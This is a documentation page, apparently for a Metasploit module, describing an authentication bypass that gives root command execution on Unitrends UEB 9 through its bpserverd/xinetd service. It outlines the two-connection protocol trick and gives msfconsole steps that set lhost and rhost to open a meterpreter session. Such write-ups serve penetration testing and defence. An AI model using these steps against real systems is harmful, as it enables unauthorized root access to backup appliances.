CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/documentation/modules/exploit/linux/misc/ueb9_bpserverd.md
Views: 1904
Vulnerable Application
Unitrends UEB 9 bpserverd authentication bypass RCE
This exploit uses roughly the same process to gain root execution as does the apache user on the Unitrends appliance. The process is something like this:
Connect to xinetd process (it's usually running on port 1743)
This process will send something like:
?A,Connect36092Initiate a second connection to the port specified in the packet from xinetd (36092 in this example)
send a specially crafted packet to xinetd, containing the command to be executed as root
Receive command output from the connection to port 36092
Close both connections
Verification Steps
use exploit/linux/misc/ueb9_bpserverdset lhost [IP]set rhost [IP]exploitA meterpreter session should have been opened successfully